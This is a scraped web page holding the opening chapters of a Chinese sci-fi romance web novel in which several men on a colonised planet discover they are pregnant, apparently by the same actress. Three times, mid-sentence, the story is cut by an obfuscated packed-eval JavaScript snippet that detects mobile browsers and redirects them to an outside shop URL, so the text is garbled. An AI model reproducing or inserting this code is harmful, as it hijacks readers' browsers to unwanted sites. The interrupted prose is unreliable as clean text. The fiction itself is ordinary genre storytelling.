《全民男生子[bg]》 1. 1 早上七点，清晨阳光照耀摄影棚，工作人员正在紧锣密鼓地布置第一场戏。 林耀然坐在休息区，低头正熟悉剧本，突然有些想吐。 他觉得可能是对剧本的厌恶又加深了，于是先把剧本拿开，紧急吞咽几下，面色平静地将滚到嗓子眼的胃液强压下去。 作为一名从小接受传统教育，把面子看得比命还重的男人，如果不是因为地球爆炸时炸死了拖欠工资的老板，他是绝对不会逃到这个人生地不熟的多比多星演生子剧的。 多比多星是个没那么宜居的星球，一年四季都类似地球北半球中低纬度炎热的夏天，空气稀薄，污染物云集，就连地球上身经百战的细菌病毒都存活不了。 不过经过长达数世纪的星球改造，人类成功攻克了在该星球生存的难关，只是繁衍仍是大问题。 在多比多星污染物的刺激下，负责维持男性生育力的Y染色体迅速缩短，两个世纪内就将人类可生育男性的比例降低了10%，大量男性在性生活后出现盗汗、失眠、精力不济等现象，严重时会加速衰老，甚至直接导致死亡。 人类联盟为应对繁衍危机，组织全球科学家成立人类繁殖协会，寻找解决方案。 和人类历史上无数重大问题一样，协会里的科学家们逐渐分流、站队，慢慢形成两大主流学派。 一派是坚决维护传统生殖方式的守旧派，主张通过医学手段增强Y染色体功能，努力恢复人类在地球上的正常生活。 另一派是期待开发新型生殖方式的泛生殖派，提出的方案包括孤雌生殖、人造子宫、男性生子等，希望完全颠覆地球的生活模式，开启人类繁衍新时代。 两学派争论了数个世纪之久，目前都没有拿出安全可靠的方案。 人类繁衍危机还在逐年加剧，截止去年，全球50%的男性已经完全丧失生育能力。据此推算五个世纪内，人类将会灭绝。 目前科研院高层对两学派都没有明确的信心。他们每年会组织募捐投票，参考民众意见决定将更多的科研经费拨给哪一派。 林耀然私心更支持守旧派，今年的募捐中还为他们投入了自己宝贵的一顿饭钱，可惜支持效果杯水车薪。 随着生育形势的严峻，越来越多的星球公民相信只有泛生殖派才能保住人类文明的火种。 于是今年大选，泛生殖派以52%的微弱优势首次在协会掌权。为防止守旧派的反扑，接下来的半年，泛生殖派利用各种手段向民众宣传新生殖方式。 林耀然拍摄的这部男生子剧就是宣传项目之一。 虽然剧集拍摄进度过半，但林耀然还是无法相信“男性怀孕”这件事。他是个去年才登陆多比多星的“老古董”，目前还保留着正常地球男性80%的生育能力，以及100%的自尊心。 “林耀然！准备开拍！”导演拿大喇叭风风火火地过来，把面前防风布面料的帘子拉上半拉。 林耀然收到信号，闭眼做了一秒思想准备，随后轻车熟路脱下白色短T裇，球鞋、短裤，露出在地球上为了拍戏练就的精壮肌肉，五分钟后按照剧本要求躺到了床上，双眼紧闭，就像死了一样。 随后的五分钟内，触感熟悉的指腹依次划过他喉结、前胸，腰腹，嘴唇再被人狠狠一咬，黑发刮了他一脸，太阳烘晒的自然香味扑面而来…… “呕！对不起——”他不知道怎么回事，今天只是闻到一点并不过分的香味，胃内翻江倒海的感觉就又回来了，这回比刚才更加难以压制。他翻坐起身，火速奔向卫生间。 拍摄被迫终止。 林耀然挑了个卫生间干净的单间，吐到天昏地暗。当天回家，人跟虚脱了一样。 多比多星科技发达，每处住宅都会配备具有医疗诊断功能的看门机器人。 就在他进门换鞋的时候，门口蹲点的机器人探出一只摄像头脑袋，屏幕上露出一串感叹号。 “目标检测异常，疑似怀孕。” 累到力竭的林耀然粗粗扫了它一眼，拽掉了电源。 太久没做家务，机器人坏了居然都没发现。 今天提前收工，正好有空新买一只新机器人。林耀然简单休息一会，徒步去附近商场，找到电器平台，目标明确，直奔看门机器人。 “先生您好，这些都是这一季度的新款，喜欢可以点击试用。”售货员小哥语调亲切地迎了上来。 林耀然看到一只不错的，随手开机，屏幕上再次出现一串感叹号—— “恭喜恭喜！你怀孕了！” 林耀然拔掉了它的电源，点开下一个，“你怀孕了！你怀孕了！” 新型机器人甚至会同步开启泡泡机庆祝模式，朝林耀然脸上喷出漂亮的彩色泡沫，并放起庆祝歌。 商场中不明情况的顾客们看到热闹，远远地驻足，跟着节奏拍起手。 林耀然脸上一片通红，戴好口罩，低头溜出了门。 回程路上又吐了两次，这回小腹还有阵阵抽紧的感觉。 总不能真是怀孕吧！ 他脑子里冒出这个念头的瞬间，首先怀疑是自己精神出问题了。 由于出生率的持续暴跌，多比多星球是严禁堕胎的。这意味着一旦怀孕，他没办法去正规医院。偷偷堕胎，出了事也没地方救。其他任何手段的求助都可能导致事情曝光，属于雪上加霜。 林耀然强迫自己先不要往坏处想，回到家，外卖叫了一根早早孕。可煎熬的十分钟过去，映入眼帘的是赫然醒目的两条杠。 他故意没有买能测周龄的那种验孕棒，就是为了自己能在这种荒谬的事情上少花点钱。 但能被普通验孕棒和看门机器人检测出来，少说也得两个月了。 两个月前，正好是现在这部男生子剧开机的时候。 林耀然的脑子“嗡”地一下，不知道自己为什么会把两件事联系在一起。 他是一个极其保守的男性，虽然长了一张从小到大一路校草的脸，但除了拉手，没再和异性有过任何肢体接触，即便是演戏，也果断拒绝一切亲密戏。好在地球爆炸的紧张氛围面前，历史上大火的爱情戏已经失去受众。林耀然靠着各种末世求生剧，事业也还算顺利。 来到多比多星，虽然生活天翻地覆，但林耀然的思想还没有变化太多。他计划等事业稍稍稳定，立刻就结婚，把自己宝贵的第一次留给一位同样保守的地球女性，趁生殖能力消失前抓紧要个孩子。 可惜这一梦想从这部男生子剧开拍就被打破了。为了赚钱，他不得不和一个完全没有感情基础的女人完成了人生初吻，拥抱，同床共枕。 这是他唯一和异性发生的出格接触，然后就怀孕了。抛开让他更无法相信的同性怀孕，林耀然几乎一口咬定，这个孩子就和这部剧的拍摄相关。 晚饭他没有吃，这样能最大可能避免呕吐。然后故意穿了身透气宽松的运动套装，开车回剧组。 多比多星球地广人稀，稀薄的空气可以支持汽车空中超音速飞行，半小时后，他飞到剧组，得知女主演员目前住在距此三百多公里的别墅区后，又用十几分钟将车飞到女主所在的小区。 如果是真怀上了，他一个男人是绝对没办法把孩子生下来的。他们全家都是支持传统生育模式的守旧派，他无法想象如果周围人知道他怀了孩子，会传出多少不堪入耳的闲话。 他得找孩子妈妈讨个说法。 虽然还不确定唯一和他亲密接触过的女人是不是孩子妈妈，但他已经在心里这样没出息地叫了起来。 开拍前他对女主演员游朝了解不多，只知道是个早年开垦多比多星球的科学家后裔。 早在科学家们预测到地球即将炸毁的时候，为详细考察多比多星球的生存环境，先锋科学家们就提前到这里生活了，因此比地球大爆炸后登陆的居民更适应这里的环境。 他们经历了自然界优胜劣汰的层层筛选，已经拥有高智商，高体力，出众的身体素质和十分罕见的基因突变。这些突变可以帮助他们获得各种各样的超能力。 登 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166961|196761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆一年间，林耀然听说过的所有超能力者无一例外都是他们当中的一员。 不过游朝有什么超能力，林耀然暂时不知道，可能是还未发掘，也可能是没告诉他。毕竟他们在剧组交流不多，拍戏除了剧本台词就是亲密戏。可能吻过的次数比私下说过的话都多。 唯一能记住的特点，她吻技很不错。虽然也不知道为什么要记住这个？ 林耀然下车后定了定神，走到一栋红砖复古风二层别墅前，鼓起勇气按响门铃。 三声叮咚过后，两扇紫檀色的电动门朝外推开，一双踩屎感软拖被弹开的鞋柜推到林耀然脚下。 老式看门机器人发出沙哑的机械音：“目标检测，新客人，是个孕……” 两秒停顿后，机器人突然亮起红灯，“不明物种警告！不明物种警告！” “啪！” 断电了。 林耀然眼前一片漆黑。 灯再亮起来时，客厅从地下升到了玄关正对的地方。沙发上坐了三个人，一女两男。 林耀然只认得这家的女主人，一头乌黑长发，戴半框金丝眼镜，常年穿浅色短袖长款风衣的游朝。 旁边两个男人，一个身高估计在他之上，另一个可能跟他差不多。高男人穿着白衬衫黑西裤，衬衫挽着半袖，体面地夹着衬衫夹，侧对着他。矮一点的男人穿一身多比多星实验室统一的工装，戴黑框眼镜，腼腆地瞥了他一眼。 “不好意思。老式机器人说话都不太好听。”游朝客气地微笑，面色略显疲惫，“你先进来坐。” “他们两位是谁？”林耀然胸口怦怦跳，说不好什么原因，看到自己孩子可能的妈妈正和另外两个来路不明的男人私下见面，心里突然很不舒服。 “你又是谁？”白衬衫的男人理直气壮地问他，胳膊架在腰侧，似乎在遮挡什么东西。 林耀然突然有些尴尬，“算了，这个不重要，游朝，你能不能过来一下，我有急事跟你说。” “你是想说怀孕的事吧？”游朝面色为难，仿佛在说一个自己也不愿意承认的事实，“机器人说的我都听到了。” 林耀然不懂她为什么要当着两个外人把话说这么直白。这在地球上应该是男女双方很私密的事，“你听到机器人说我怀孕，第一反应不应该觉得它坏了吗？” 游朝叹了口气，“其实在你之前，已经有两个男人这样说过了。” 林耀然懵了一下，换上拖鞋走上前，白衬衫男人的肚子已经隆起一条显眼的弧度，而工装男宽大的连体衣下，小腹位置也已经微微突出。 三人目光相对，互相都有些不自在。 “他们都怀的是你的孩子？”林耀然坐到了看着还好相处点的工装男旁边。不知道是不是怀孕的缘故，正常的车速已经让他腰酸背痛，身体本能告诉他，坐下会好一点。 “准确说还不知道。”游朝扶了一下额，“要不你们先认识一下。认识了才好一起把这件事弄清楚。” “林耀然，25岁，演员。” 工装男规规矩矩和林耀然握了个手，双颊有些矜持的泛红，“你好。白乔，24岁，目前在人类繁殖协会工作，负责Y染色体延长的药物研发。” 白衬衫清清嗓子，有些不耐烦，“陆其峰，30岁，星际传媒CEO……前CEO，但目前身家过亿。” “陆总，经济现状可以先不用说，好像对搞清楚这件事没什么帮助。时间紧迫，我们得说点有用的。”游朝客气地提醒这位昔日老板。 陆其峰是两年前才随地球人类迁移计划登陆多比多星的，同样无法接受自己怀孕。为了维持自己作为一个地球男性精英最后的体面，他忍痛辞去了高薪的工作，耗时半年找遍了多比多星所有相对可靠的黑诊所堕胎，但由于缺乏类似的治疗先例，没有医生能够百分百保障他的安全。最后孤注一掷，他找到游朝。 陆其峰棱角分明的侧脸继续对向另外两个男人，眼睛只盯着游朝看，“帮我拿掉这个孩子，你想要多少钱都可以。” 2. 2 “这不是钱不钱的问题，这是违法。”游朝很理性地说。 地球爆炸后，成功移居多比多星的人类比科学家预期的少不少。相比之下，提前部署的土著警察多得要命。这边没有国家的概念，所有国家的人聚集在一起，由人类联盟统治着。他们每年都会制定新法案，人口方面的法案尤其严格。 “我不是说去医院。”陆其峰换了个相对舒服的姿势倚在沙发扶手上，一手隐蔽地扶着腰，“用你们的方法解决一下。你能神不知鬼不觉把它塞进来，难道就没有办法拿出去吗？” “如果是我的孩子，我会想办法负责的。但问题是，这件事现在还无法确定。”游朝尽量委婉地陈述事实，防止面前的孕夫因为情绪波动出意外。 陆其峰耐不住地皱了一下眉，“我只接触过你一个先锋科学家后裔，这么离谱的事，除了你，还能有谁？” 游朝仔细回忆了一番，陆其峰做她顶头上司的时候，除了整天摆着张欠人钱的冷脸在公司横行霸道，就是聚餐和她喝过几次酒。如果这都能让他怀孕的话，这个世界可能是真疯了！ “要不我们还是等等验证结果吧。”白乔有些放不开地瞥了游朝一眼。 作为一名严谨的科研工作者，他同样对只在某科技发布会上握过一次手的游朝能让自己怀孕这件事感到不可思议。如果不是胎儿羊水DNA的大数据比对显示和先锋科学家后裔相似，他是绝对不敢想到游朝的。 “什么验证？亲子鉴定？”林耀然慢慢加入了讨论。 “对，我明天拿回实验室偷偷做。”白乔说，“如果你现在能把样品给我的话，可以带你一份。” 林眼然的小腹没来由又抽了下筋，“什么样品？羊水？你们会做羊穿？” 白乔推了推眼镜，“不用那么麻烦。我们是男人，从外面给一点刺激，液体会自己流出来，以前是生殖细胞，现在是羊水。虽然还不知道孩子具体长在哪儿，但看起来不像是人类正常的生殖系统。” 在没有B超设备的情况下，简单的液体成分检查只能提供这么多线索。 “不过你月份太小，搞不好会流产。建议月份大一点再做。”白乔补充。 “问题不大，早死早超生。”林耀然视死如归地站起身，“等我去下卫生间。” 流产也是超生的一种形式。对他这种小月份孕夫来说，完全不是风险。 他进卫生间麻利地脱下裤子，提心吊胆地检查了一下自己赖以繁殖的家伙事儿。按照科学家的说法，每在多比多星球多待一天，人类男性的特征就会缩短一点。虽然它们现在看起来还是一副地球优秀男人应有的样子，但由于激素水平的下降，里面的生殖细胞已经大幅度减少。与此一致，性-欲也在大幅降低。 漫长的半个小时过去，林耀然拿着不足一毫升的透明液体虚弱地走了出来。 “明天能知道结果吗？” “可能要明天晚上。白天还有挺多其他事要做。”白乔想到上班，叹了口气，然后从沙发站起来，松了松腹前的衣服，让下面的弧度看起来没那么夸张。 “那就明天见？等结果出来，我们再商量。”游朝顺坡下驴，优雅转了个身，巴不得眼前没根没据的“债主们”快点离开，好让她一个人先冷静消化一下爆炸式增长的信息量。 陆其峰把背上束腹带的扣子拉紧才起身，虽然还是有些“啤酒肚”的特征，但已经比之前好许多。他抽出桌上的纸巾，擦了擦额头上冒出的汗，手叉腰顿了许久才像个正常人一样挺胸抬头地走到门边，最后嘱咐白乔，“明天一定要解决这件事，有问题及时沟通。” “路上慢点啊你们！”游朝远远送走陆其峰和白乔，又看林耀然，“你怎么走？” “我可能走不了了。”林耀然的手还撑在卫生间的门框上。 “不行，同组男女演员一块过夜，剧组其他人知道了会误会的。”游朝谨慎地站在一米开外的地方，对他现在的这副模样保持警惕。 “会比同组男演员暴毙更严重吗？”林耀然的手失去最后一丝力气，唇色苍白地倒了下去。 还真有点暴毙的意思。 游朝拿了家里最好的医疗机器人，先给林耀然简单检查了一下，生命体征平稳，除了血糖有点低。 她抱他到床上。 虽然这种体重一百三十多斤，身高一米八多的男人看起来比游朝大出一圈，但对常年健身的先锋科学家后裔来说还是小菜一碟。 游朝让他在床上躺了一会，林耀然自己醒了过来。 “哪里不舒服吗？虽然没法去医院，但我家里有普通应急药，就是不知道怀孕能不能用。”游朝搬来了药箱，里面的药很齐全，是她独居的救命神器。 游朝十四岁就离开科学家基地，和爸妈分开居住了。 先锋科学家后裔一般都很繁忙，由于超能力的觉醒，很容易在某一行业做到顶峰，成为改变世界的英雄人物。 比如游朝妈妈凭借出色的方位感，现在在人类联盟担任军事飞船领航员。爸爸进化出了微观视觉能力，在功能开启时可以代替显微镜，看清细胞内的微观结构，目前在科研院的药物研究所做生物学教授。 作为先锋科学家后裔的一员，游朝还在妈妈肚子里的时候就进行了全身基因组测序，但遗憾的是并没有发现什么有价值的基因突变。唯一和普通人差异显著的一组基因还偏偏落在了好色上。 游朝很容易对漂亮男人产生非分之想，小时候这种感官体验还限制在视觉，后来随着青春期激素水平提高，体内萌芽的冲动总会压制不住。 这种超能力看起来没什么用，所以游朝不喜欢往外说。宁可让学校老师和同学们觉得她是个一点超能力都不会的普通人，也比让他们觉得自己是个变态的怪胎要好。 虽然多比多星是个开放的星球，但她要是哪天在大街上没忍住，不分青红皂白把一漂亮男的按到地上狂亲，也是要到警察局住一段的。 游朝是个遵纪守法好公民，在没到法定结婚年龄的时候，一直通过规律生活、积极锻炼、口服抑制剂等方式避免坐牢。 直到去年她二十一岁，刚好到达多比多星球人类平均寿命的四分之一，也是法定结婚年龄。 出于长远考虑，游朝计划找一个稳定的男人，尽早结婚。 但她独居惯了，很少有认识异性的机会。 于是游朝果断选择进修她在大学的第二十五个专业——表演，并凭借出色的学习能力，半年内顺利拿到学位证，成为了一名演员。 她当演员目的不纯，80%是奔着认识漂亮异性去的。 但不能是漂亮且怀孕的异性！ 她尽量不去看林耀然，避免见色起意。服用抑制剂会嗜睡，睡觉期间林耀然身体会不会出问题还不好说。眼下最好的办法还是减少刺激源。 “我肚子有点疼。”林耀然小声又问她，“有止疼片吗？” “怀孕好像不能吃一般的止疼片。”游朝背对他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166962|196761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蹲下来，翻找药箱，“你可以先自己揉一揉。” 林耀然把手放到小腹上，老实说这个动作还让他有些难以接受。但他现在没得选。好在就安全性来说，游朝家里无疑是这个世界上唯一能让他无所顾忌袒露怀孕事实的地方。 “我去给你冲点葡萄糖水。机器人觉得你的血糖有点低。”游朝拿上葡萄糖就出卧室。 林耀然慢慢适应了揉肚子的频率，抽紧的小腹慢慢放松下来。他隔着腹肌，第一次摸到一点隐秘的凸起。即使在不抽紧的时候，也会一下又一下轻轻地跳。 好痒。还有点怪怪的。 “喝下去可能好点。”没一会，游朝就把一杯葡萄糖水放到林耀然旁边的床头柜上。 林耀然专注着腹部的改变，脸上发热。 “谢谢。”他护着肚子半坐起来，身体的本能让他狼吐虎咽喝了一大口葡萄糖水，肚子里的小家伙好像获得能量，手脚舒展起来。 他再一次感受到胎动，脸上红温转烫。 “你发烧了吗？”游朝打断了他的思考。 “没有。”林耀然低下了头，还不知道怎么解释胎动的事，“我想睡一会，你能先出去吗？” 他侧身躺下，掩耳盗铃似的闭上眼睛，希望今天的一切就是一场梦。 “那好吧，我就在外面，有事叫我。”游朝出去，很有分寸感地带上了门。 “谢谢。”林耀然如释重负地用衣服蒙住头。 他睡得昏沉，除了夜间晕乎乎地多上了几趟卫生间外，起床时已经没什么特别不舒服的地方。不过站在更衣镜前仔细看，小腹位置腹肌的轮廓已经有些模糊。 身材变化，这就开始了吗？他不愿意接受这个事实，所以半天没出卧室。 游朝在卧室外，声音还是一贯冷静地就事论事：“一会我开车送你吧？你现在这个情况，开车很危险。我把车停远点，就说咱俩是路上碰到的。” “都行，听你的。”林耀然突然有点理解白乔昨晚提到上班时生无可恋的表情。比起上班过程对这具虚弱身体的折磨，他更担心这样的肚子和难以抑制的呕吐被人看出端倪。 他推门出来，问游朝：“有束腹带吗？昨天陆其峰戴的那种。” 游朝粗粗打量了一下他腰身，“你好像还不用吧。我听说那个戴起来挺难受的。” “但腰围比昨天涨了两厘米，至少。”林耀然改变了以往昂首挺胸的站姿，有些不自信地弯了弯腰。 “真的吗？我看不出来。剧组其他人估计也看不出来。”游朝在厨房准备早餐，随便瞟了他一眼，就忙着点开手机给白乔发消息，问问他顺利到实验室了没。 亲子鉴定结果是游朝目前最关心的事，然后是陆其峰和白乔那两个显怀明显的家伙会不会露馅，最后才是林耀然……看起来他经过一晚的休息身体已经好多了，可以暂时让她放心一点。 林耀然不知道游朝在和手机相什么面，说话也跟平时在片场似的公事公办。大早起吃了顿似有似无的闭门羹，林耀然心里有些不舒服。 他和游朝解释不清楚身材对一个男人的重要性。他丢失的不是支撑两厘米腰围的腹肌这么简单，而是将近五年的健身房卡，成罐的蛋白粉，和无数次看见正常食物想吃但不能吃的意志力。 林耀然走到厨房门口，正犹豫怎么礼貌婉拒游朝为他准备的早餐，一阵剧烈的干呕袭来，让他不得不奔去卫生间。 这回一吐半小时，早饭彻底吃不成了。 3. 3 新一天拍摄，飞页从一场办公室亲昵戏开始。 剧中游朝饰演林耀然的领导，年龄上是个大他三岁的姐姐。两人在公司认识，偷偷搞起了地下恋。 游朝换好了符合女主身份的西装，化妆师为她梳好了低马尾。 手机上白乔报了声平安。游朝暂时松口气，把手机顶部伸向旁边候场的林耀然，“要不要也加个好友？方便后面联系。” 林耀然和她碰了下手机，在多比多星球，这样就拥有了对方的全部联络方式。 新型智能手机会将近两天碰面的“共同好友”自动组群。 林耀然迅速加入了陆其峰、白乔和游朝的三人群。看着不断弹出的消息，才知道游朝一早上都在询问他们的状况。不过只有白乔一人在回复，陆其峰一直沉默，还跟地球上那些喜欢端架子的大老板们一样。 戏要开拍了，林耀然收起手机。今天的戏从男女主对手戏开始。 游朝和林耀然按照导演的要求，提前到搭建的办公室布景一角进入角色。 游朝一只手撑在墙上，不算粗壮但肌肉线条十足的胳膊刚好将高她半头的林耀然围在墙角。 “你怎么样？好点了吗？”游朝想到林耀然早上反应，有点担心。 林耀然忍了一下吐，“其实还有一点不舒服，是导演跟你说什么了吗？” “目前还没有，大家都以为你是急性肠胃炎。不过一般肠胃炎不会连着吐很多天，你要不要开拍前克制一下？”游朝回头瞧着剧组其他人忙碌，假装自言自语地说。毕竟两个沉默寡言的主演突然到了私下说悄悄话的程度，还是挺容易让人起疑的。 “那你一会能不能轻一点。轻一点我就不会吐了。”林耀然小声地发出请求，这辈子好像还没这么卑微过。但现在除了依赖游朝，他没有别的办法。 “行，知道了。”游朝不再看他，低头熟悉起台词。 开拍信号来得猝不及防。游朝扶墙的手挪到林耀然颈侧，手指插入不深不浅的发丝之间，嘴唇吻了上去。 这种吻戏公事公办得多了，游朝已经能熟练拿捏，既不会用力过猛，也不会毫无感情。压抑已久的感觉倾泻而下，一气呵成。 另只手自然地环到林耀然腰侧，好像确实比平时蓬软了一点。游朝的手劲放得很轻，没有再继续深探的意思，蜻蜓点水地送了最后一吻，彻底放开了林耀然。 导演满意叫停，罕见地一条即过。 林耀然没有吐，就是腰腹酥麻着不太舒服，双腿也有些发软。 游朝赶紧扶了一下，“你没事吧？” “没事……接个吻而已……”林耀然想笑着搪塞过去，谁知一个踉跄差点没站稳，手扶着墙，强撑半晌，最终还是倒在游朝胳膊上。 “肚子疼，还是怎么回事？”游朝胳膊轻轻用了点力气，先撑住他后背，防止他真摔倒。 “不是疼。”林耀然强忍着不舒服，本着不能耽误工作的念头，这回不得不承认，“就是它动得很厉害……在我们接吻的时候……”林耀然努力克制着想摸肚子安抚它的冲动，“可能它知道你是它妈妈？” “别乱说！”游朝让他靠墙站好，自己把胳膊撤回来，“亲子鉴定结果还没出来。” “我直觉很强的。”林耀然说，“在地球那会就是。” 游朝不以为然，科研之家长大的她，从来只相信事实结果。不保守也不盲信，这是爸妈教给她的生活信条。也是因为这个，目前吵的最凶的守旧派和泛生殖派，没看到确定的可行性之前，她谁也不信。 午餐剧组发盒饭，林耀然为了省钱，还是早早过去领。他是个人演员，从试镜到拍摄都是自己搞定。起初他以为像游朝这样已经签约的演员会像地球那些知名演员一样有助理帮忙。但这段时间观察下来，游朝好像也是一个人。 林耀然帮游朝也领了份盒饭，坐到候场区等她。 游朝过来脱外套，露出薄汗淋淋的三角肌，后背被运动背心勒得紧实有型，马尾散开，披垂下来。 最后罩上一件短袖风衣，又弯腰拾了一瓶玻璃瓶装营养水，食指关节在瓶盖上轻轻一敲，反手一拧，瓶盖轻松取下，夹在小拇指和无名指之间，手掌攥住瓶身，仰头喝了一口。沁爽的水珠飞到她发梢上。 林耀然在她身后，半晌没说话，瞧见她一瓶水即将喝完，才想起来说：“你吃饭吗？” “我回家自己做。”游朝闻声回头，“你怎么拿两份？” 林耀然紧张到吞咽，突然想起游朝这个先锋科学家后裔好像不需要他什么额外的照顾。他低头看着两份盒饭，心跳加快，临时扯谎：“早起没吃，太饿了。现在刚有点胃口。” 游朝想起怀孕不吃东西确实是很危险的一件事，“要么你跟我回家吃？吃完还能休息会。下午别再晕倒了。” 林耀然左右瞧了瞧现场来往演员，脸色不妙，“这不太好吧……” “没关系。我先去开车。”游朝看了眼时间，简单计划一下，“早上停车的地方见，如果你想来的话。” 十分钟后，林耀然鬼使神差地回到游朝车上。他一路上戴了墨镜，换了衣服，尽量避免人跟踪。架势还真有点像剧里演的“地下情”。 可惜游朝和他之间，目前除了这个可能的孩子外，好像还没什么感情可言。 这对他一个守旧派男性来说别扭极了。 游朝平时吃减脂餐，减少脂肪摄入可以抑制激素生成，也是降低性-欲的一种方式。但显然不能对林耀然一个孕夫用。 游朝给炒菜机器人设置好程序。十分钟后两荤一素的家常小炒顺利出锅。 林耀然在安抚了半小时胎动后，第一次发现肚子里这个没出息的小家伙闻到高端机器人炒菜的香味能稍稍平复，于是不得不破戒吃了健身五年来第一口热油炒菜。 游朝自己吃着巴旦木蓝莓酸奶碗和碳烤三文鱼，继续在群里问白乔。 “亲子鉴定，还顺利吗？” 白乔回：“结果一小时后好，但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166963|196761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我这边有点情况，今晚可能过不去。现在还不知道怎么办。” “被发现了？”游朝问。 白乔过了会才回：“晚七点，守旧派例行查体，科研院30岁以下男性全部要求捐精，补充精子库。” 怀孕的男性是没有精子一说的，精子库先进的检测设备应该很快就能分辨出白乔提供的样本是正常的人类羊水。 窥屏的林耀然放下手机，“我们得救他一下。这事只要有一个人被发现，我们几个谁都跑不掉。” “我知道。”游朝对他的误会有些无语。事情发展到这个离谱的地步，她是最想大事化小小事化了的。 其实要想解决也不难，找一个正常男人提供精子偷偷混进去就好了。游朝爸爸就在科研院工作，偷混一个实验室样品应该是可行的。 问题是上哪儿找正常男人。 游朝连找人结婚都要通过演戏认识异性，平时根本没什么异性朋友。她想到片场的男人们上…… 这部戏除了林耀然这个男主，还有不少男配，戏份虽然比林耀然稍微少一些，但和游朝的互动不少。只要有二人独处的机会，游朝就能想办法套套近乎。 可一般男人就算成功搭讪，也不可能短短半天内决定给精子。 游朝想来想去，想到了同组男配严初身上。 严初也是先锋科学家后裔，不过基因突变的超能力同样离谱。他的基因组中携带了大量的长寿基因，按照预测，寿命能达到正常人类的两倍。 不过凡事有利就有弊。这些帮助长寿的基因同样可以延缓严初的身体发育。 虽然他实际年龄比游朝大了十岁，但样貌看起来比游朝还小一点，心智上也像个刚刚成年的大男孩。他们从小在科学家基地一起长大，为了防止被周围人嘲笑发育迟缓，严初一直管游朝叫姐姐。 后来从游朝上大学起，那声姐姐就变了味。严初明确表示了对游朝的喜欢，并希望能和她结婚。游朝对他本人是没什么意见的，单纯找个能给自己养老送终的老公也不错。 可坏就坏在那声“姐姐”听习惯了，再想到确定关系后自己会忍不住对这个“好弟弟”做那种事，游朝心里就有些过意不去。 游朝理智拒绝了严初的表白，看在他长相只是中等偏上，还没到林耀然这种能让人不忍移目的程度，只要减少见面，不用抑制剂，游朝也能克制住。 可惜严初没有她想象的好甩掉。毕竟都是先锋科学家后裔，脑子都不差。大学期间游朝学什么专业，严初就自己报班补修什么。后来学表演，严初也跟了过来。游朝毕业后，两人签了同一家公司，又总是演一部剧。 由于多年求爱未果，严初逐渐降低了自己的标准，从想和游朝结婚，到只是谈个恋爱也不错，再到去年，严初明确表示，只要游朝未来的男朋友同意，多几个人一起出去约个会也行。可惜游朝一直没这个打算。 就眼下的情况看，游朝想不出第二个比严初更能理解她倒霉处境的知心男人了。 4. 4 下午拍摄前，游朝带着林耀然找到正在片场和其他演员插科打诨的严初。 成年后他的“驻颜术”不再像小时候那样惹麻烦，反而经常被“大龄待婚男”围住取经。对生育力低下的男性来说，外貌等硬条件在求偶中显得尤为重要。 “你终于想起我来了！”严初支开身边的人，没正形地靠在一辆拍摄用的跑车门上，“不够意思啊，私下见我还带着男朋友……” “我不是她男朋友。”林耀然浑身发了一下紧。 “我看到他去你家了。昨天去过一次，今天又去了一次。怎么着，这么快就因戏生情了？”严初只对游朝说。 作为一个暗恋游朝多年的男人，他对游朝身边男人的敏锐度堪比地球鲨鱼见血。 游朝毫不客气地抬腿屈膝，侧面给了严初屁股一下。 “嗷！”严初吃痛地乐起来。 林耀然原地看呆，但严初似乎很习惯这样的打闹。 “有点事，进屋说。”游朝通过墙外电子屏，找到了目前还空着的一间演员休息室，“拿上剧本吧，就当去对个台词，别让人误会了。” 游朝率先来到那间休息室，林耀然和严初紧随其后。 严初一进来就将剧本丢在了茶几上，人往沙发一靠，开门见山地道：“我是不会管他叫姐夫的。” “姐夫？”林耀然有点摸不着头脑。 “都一块见面了，我是她弟弟的事，她还没跟你说？”严初现在才将头转向林耀然，但很快又看回游朝，“还是说，不是这件事啊？” 游朝眼神示意林耀然坐下，自己坐在二人侧面的沙发上，下巴点了下林耀然，“他怀孕了。” “你怀孕了？！”严初从沙发靠背弹开。 林耀然毫无准备，看游朝，“你就这么告诉他了？” “剧组人太多了，光我一个人不一定帮你瞒得住。”游朝打量着二人。 “他就能帮我瞒住吗？”林耀然如临大敌地看向严初。 游朝瞟严初一眼，“如果他不想和我绝交的话。” 严初刚有点反过味，突然没绷住笑，“该不会，他怀的是你的孩子吧！羡慕啊，兄弟。” “羡慕？”林耀然皱眉，压低声音，“这有什么好羡慕？” “要是我能怀上游朝的孩子，我们早结婚了。”严初看了眼林耀然的肚子，再低头瞧瞧自己的，无限感慨，“不过你们是怎么搞的啊？” 